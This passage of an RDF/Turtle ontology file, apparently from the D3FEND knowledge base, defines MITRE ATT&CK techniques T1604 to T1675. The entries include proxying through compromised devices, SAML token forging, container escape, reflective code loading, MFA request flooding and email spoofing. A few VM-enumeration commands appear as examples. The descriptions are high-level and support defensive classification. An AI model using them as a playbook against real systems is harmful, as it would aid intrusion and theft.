    d3f:attack-id "T1604" ;
    d3f:definition "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)" ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Proxy Through Victim" .

d3f:T1605 a owl:Class ;
    rdfs:label "Command-Line Interface - ATTACK Mobile" ;
    d3f:attack-id "T1605" ;
    d3f:definition "Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken." ;
    rdfs:comment "This technique has been revoked by T1623.001" ;
    rdfs:seeAlso d3f:T1623.001 ;
    rdfs:subClassOf d3f:ATTACKMobileExecutionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Command-Line Interface" .

d3f:T1606.001 a owl:Class ;
    rdfs:label "Web Cookies" ;
    d3f:attack-id "T1606.001" ;
    d3f:definition "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access." ;
    rdfs:subClassOf d3f:T1606 .

d3f:T1606.002 a owl:Class ;
    rdfs:label "SAML Tokens" ;
    d3f:attack-id "T1606.002" ;
    d3f:definition "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)" ;
    rdfs:subClassOf d3f:T1606 .

d3f:T1608.001 a owl:Class ;
    rdfs:label "Upload Malware" ;
    d3f:attack-id "T1608.001" ;
    d3f:definition "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server." ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1608.002 a owl:Class ;
    rdfs:label "Upload Tool" ;
    d3f:attack-id "T1608.002" ;
    d3f:definition "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server." ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1608.003 a owl:Class ;
    rdfs:label "Install Digital Certificate" ;
    d3f:attack-id "T1608.003" ;
    d3f:definition "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)" ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1608.004 a owl:Class ;
    rdfs:label "Drive-by Target" ;
    d3f:attack-id "T1608.004" ;
    d3f:definition "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584))." ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1608.005 a owl:Class ;
    rdfs:label "Link Target" ;
    d3f:attack-id "T1608.005" ;
    d3f:definition "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link." ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1608.006 a owl:Class ;
    rdfs:label "SEO Poisoning" ;
    d3f:attack-id "T1608.006" ;
    d3f:definition "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)" ;
    rdfs:subClassOf d3f:T1608 .

d3f:T1609 a owl:Class ;
    rdfs:label "Container Administration Command" ;
    d3f:attack-id "T1609" ;
    d3f:definition "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)" ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1610 a owl:Class ;
    rdfs:label "Deploy Container" ;
    d3f:attack-id "T1610" ;
    d3f:definition "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique .

d3f:T1611 a owl:Class ;
    rdfs:label "Escape to Host" ;
    d3f:attack-id "T1611" ;
    d3f:definition "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)" ;
    rdfs:subClassOf d3f:PrivilegeEscalationTechnique .

d3f:T1612 a owl:Class ;
    rdfs:label "Build Image on Host" ;
    d3f:attack-id "T1612" ;
    d3f:definition "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1613 a owl:Class ;
    rdfs:label "Container and Resource Discovery" ;
    d3f:attack-id "T1613" ;
    d3f:definition "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1614.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Language Discovery" ;
    d3f:attack-id "T1614.001" ;
    d3f:definition "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)" ;
    d3f:queries d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:queries ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1614 .

d3f:T1615 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Group Policy Discovery" ;
    d3f:attack-id "T1615" ;
    d3f:definition "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)" ;
    d3f:reads d3f:GroupPolicy ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:GroupPolicy ],
        d3f:DiscoveryTechnique .

d3f:T1616 a owl:Class ;
    rdfs:label "Call Control - ATTACK Mobile" ;
    d3f:attack-id "T1616" ;
    d3f:definition "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCommandAndControlTechnique,
        d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Call Control" .

d3f:T1617 a owl:Class ;
    rdfs:label "Hooking - ATTACK Mobile" ;
    d3f:attack-id "T1617" ;
    d3f:definition "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Hooking" .

d3f:T1618 a owl:Class ;
    rdfs:label "User Evasion - ATTACK Mobile" ;
    d3f:attack-id "T1618" ;
    d3f:definition "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device." ;
    rdfs:comment "This technique has been revoked by T1628.002" ;
    rdfs:seeAlso d3f:T1628.002 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "User Evasion" .

d3f:T1619 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Storage Object Discovery" ;
    d3f:accesses d3f:CloudStorage ;
    d3f:attack-id "T1619" ;
    d3f:definition "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:CloudStorage ],
        d3f:DiscoveryTechnique .

d3f:T1620 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reflective Code Loading" ;
    d3f:attack-id "T1620" ;
    d3f:definition "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129))." ;
    d3f:modifies d3f:ProcessSegment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:DefenseEvasionTechnique .

d3f:T1621 a owl:Class ;
    rdfs:label "Multi-Factor Authentication Request Generation" ;
    d3f:attack-id "T1621" ;
    d3f:definition "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users." ;
    rdfs:subClassOf d3f:CredentialAccessTechnique .

d3f:T1622 a owl:Class ;
    rdfs:label "Debugger Evasion" ;
    d3f:attack-id "T1622" ;
    d3f:definition "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:DiscoveryTechnique .

d3f:T1628.003 a owl:Class ;
    rdfs:label "Conceal Multimedia Files - ATTACK Mobile" ;
    d3f:attack-id "T1628.003" ;
    d3f:definition "Adversaries may attempt to hide multimedia files from the user. By doing so, adversaries may conceal captured files, such as pictures, videos and/or screenshots, then later exfiltrate those files." ;
    rdfs:subClassOf d3f:T1628 ;
    skos:prefLabel "Conceal Multimedia Files" .

d3f:T1629.001 a owl:Class ;
    rdfs:label "Prevent Application Removal - ATTACK Mobile" ;
    d3f:attack-id "T1629.001" ;
    d3f:definition "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step." ;
    rdfs:subClassOf d3f:T1629 ;
    skos:prefLabel "Prevent Application Removal" .

d3f:T1629.003 a owl:Class ;
    rdfs:label "Disable or Modify Tools - ATTACK Mobile" ;
    d3f:attack-id "T1629.003" ;
    d3f:definition "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files." ;
    rdfs:subClassOf d3f:T1629 ;
    skos:prefLabel "Disable or Modify Tools" .

d3f:T1639.001 a owl:Class ;
    rdfs:label "Exfiltration Over Unencrypted Non-C2 Protocol - ATTACK Mobile" ;
    d3f:attack-id "T1639.001" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server." ;
    rdfs:subClassOf d3f:T1639 ;
    skos:prefLabel "Exfiltration Over Unencrypted Non-C2 Protocol" .

d3f:T1640 a owl:Class ;
    rdfs:label "Account Access Removal - ATTACK Mobile" ;
    d3f:attack-id "T1640" ;
    d3f:definition "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Account Access Removal" .

d3f:T1642 a owl:Class ;
    rdfs:label "Endpoint Denial of Service - ATTACK Mobile" ;
    d3f:attack-id "T1642" ;
    d3f:definition "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Endpoint Denial of Service" .

d3f:T1645 a owl:Class ;
    rdfs:label "Compromise Client Software Binary - ATTACK Mobile" ;
    d3f:attack-id "T1645" ;
    d3f:definition "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Compromise Client Software Binary" .

d3f:T1646 a owl:Class ;
    rdfs:label "Exfiltration Over C2 Channel - ATTACK Mobile" ;
    d3f:attack-id "T1646" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications." ;
    rdfs:subClassOf d3f:ATTACKMobileExfiltrationTechnique ;
    skos:prefLabel "Exfiltration Over C2 Channel" .

d3f:T1648 a owl:Class ;
    rdfs:label "Serverless Execution" ;
    d3f:attack-id "T1648" ;
    d3f:definition "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers." ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1649 a owl:Class ;
    rdfs:label "Steal or Forge Authentication Certificates" ;
    d3f:attack-id "T1649" ;
    d3f:definition "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)" ;
    rdfs:subClassOf d3f:CredentialAccessTechnique .

d3f:T1650 a owl:Class ;
    rdfs:label "Acquire Access" ;
    d3f:attack-id "T1650" ;
    d3f:definition "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)" ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:T1651 a owl:Class ;
    rdfs:label "Cloud Administration Command" ;
    d3f:attack-id "T1651" ;
    d3f:definition "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)" ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1652 a owl:Class ;
    rdfs:label "Device Driver Discovery" ;
    d3f:attack-id "T1652" ;
    d3f:definition "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068))." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1653 a owl:Class ;
    rdfs:label "Power Settings" ;
    d3f:attack-id "T1653" ;
    d3f:definition "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)" ;
    rdfs:subClassOf d3f:PersistenceTechnique .

d3f:T1654 a owl:Class ;
    rdfs:label "Log Enumeration" ;
    d3f:attack-id "T1654" ;
    d3f:definition "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018))." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1655.001 a owl:Class ;
    rdfs:label "Match Legitimate Name or Location - ATTACK Mobile" ;
    d3f:attack-id "T1655.001" ;
    d3f:definition "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., `com.google.android.gm`)." ;
    rdfs:subClassOf d3f:T1655 ;
    skos:prefLabel "Match Legitimate Name or Location" .

d3f:T1656 a owl:Class ;
    rdfs:label "Impersonation" ;
    d3f:attack-id "T1656" ;
    d3f:definition "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1657 a owl:Class ;
    rdfs:label "Financial Theft" ;
    d3f:attack-id "T1657" ;
    d3f:definition "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1658 a owl:Class ;
    rdfs:label "Exploitation for Client Execution - ATTACK Mobile" ;
    d3f:attack-id "T1658" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility." ;
    rdfs:subClassOf d3f:ATTACKMobileExecutionTechnique ;
    skos:prefLabel "Exploitation for Client Execution" .

d3f:T1659 a owl:Class ;
    rdfs:label "Content Injection" ;
    d3f:attack-id "T1659" ;
    d3f:definition "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)" ;
    rdfs:subClassOf d3f:CommandAndControlTechnique,
        d3f:InitialAccessTechnique .

d3f:T1660 a owl:Class ;
    rdfs:label "Phishing - ATTACK Mobile" ;
    d3f:attack-id "T1660" ;
    d3f:definition "Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”.  Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Phishing" .

d3f:T1661 a owl:Class ;
    rdfs:label "Application Versioning - ATTACK Mobile" ;
    d3f:attack-id "T1661" ;
    d3f:definition "An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.(Citation: android_app_breaking_bad)" ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Application Versioning" .

d3f:T1662 a owl:Class ;
    rdfs:label "Data Destruction - ATTACK Mobile" ;
    d3f:attack-id "T1662" ;
    d3f:definition "Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Data Destruction" .

d3f:T1663 a owl:Class ;
    rdfs:label "Remote Access Software - ATTACK Mobile" ;
    d3f:attack-id "T1663" ;
    d3f:definition "Adversaries may use legitimate remote access software, such as `VNC`, `TeamViewer`, `AirDroid`, `AirMirror`, etc., to establish an interactive command and control channel to target mobile devices." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Remote Access Software" .

d3f:T1664 a owl:Class ;
    rdfs:label "Exploitation for Initial Access - ATTACK Mobile" ;
    d3f:attack-id "T1664" ;
    d3f:definition "Adversaries may exploit software vulnerabilities to gain initial access to a mobile device." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Exploitation for Initial Access" .

d3f:T1665 a owl:Class ;
    rdfs:label "Hide Infrastructure" ;
    d3f:attack-id "T1665" ;
    d3f:definition "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely." ;
    rdfs:subClassOf d3f:CommandAndControlTechnique .

d3f:T1666 a owl:Class ;
    rdfs:label "Modify Cloud Resource Hierarchy" ;
    d3f:attack-id "T1666" ;
    d3f:definition "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1667 a owl:Class ;
    rdfs:label "Email Bombing" ;
    d3f:attack-id "T1667" ;
    d3f:definition "Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.(Citation: sophos-bombing)(Citation: krebs-email-bombing)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1668 a owl:Class ;
    rdfs:label "Exclusive Control" ;
    d3f:attack-id "T1668" ;
    d3f:definition "Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them  – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system." ;
    rdfs:subClassOf d3f:PersistenceTechnique .

d3f:T1669 a owl:Class ;
    rdfs:label "Wi-Fi Networks" ;
    d3f:attack-id "T1669" ;
    d3f:definition "Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring [Valid Accounts](https://attack.mitre.org/techniques/T1078) — belonging to a target organization.(Citation: DOJ GRU Charges 2018)(Citation: Nearest Neighbor Volexity) Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection." ;
    rdfs:subClassOf d3f:InitialAccessTechnique .

d3f:T1670 a owl:Class ;
    rdfs:label "Virtualization Solution - ATTACK Mobile" ;
    d3f:attack-id "T1670" ;
    d3f:definition "Adversaries may carry out malicious operations using virtualization solutions to escape from Android sandboxes and to avoid detection. Android uses sandboxes to separate resources and code execution between applications and the operating system.(Citation: Android Application Sandbox) There are a few virtualization solutions available on Android, such as the Android Virtualization Framework (AVF).(Citation: Android AVF Overview)" ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Virtualization Solution" .

d3f:T1671 a owl:Class ;
    rdfs:label "Cloud Application Integration" ;
    d3f:attack-id "T1671" ;
    d3f:definition "Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.(Citation: Push Security SaaS Persistence 2022)(Citation: SaaS Attacks GitHub Evil Twin Integrations)" ;
    rdfs:subClassOf d3f:PersistenceTechnique .

d3f:T1672 a owl:Class ;
    rdfs:label "Email Spoofing" ;
    d3f:attack-id "T1672" ;
    d3f:definition "Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1673 a owl:Class ;
    rdfs:label "Virtual Machine Discovery" ;
    d3f:attack-id "T1673" ;
    d3f:definition "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1674 a owl:Class ;
    rdfs:label "Input Injection" ;
    d3f:attack-id "T1674" ;
    d3f:definition "Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs)." ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1675 a owl:Class ;
    rdfs:label "ESXi Administration Command" ;
    d3f:attack-id "T1675" ;
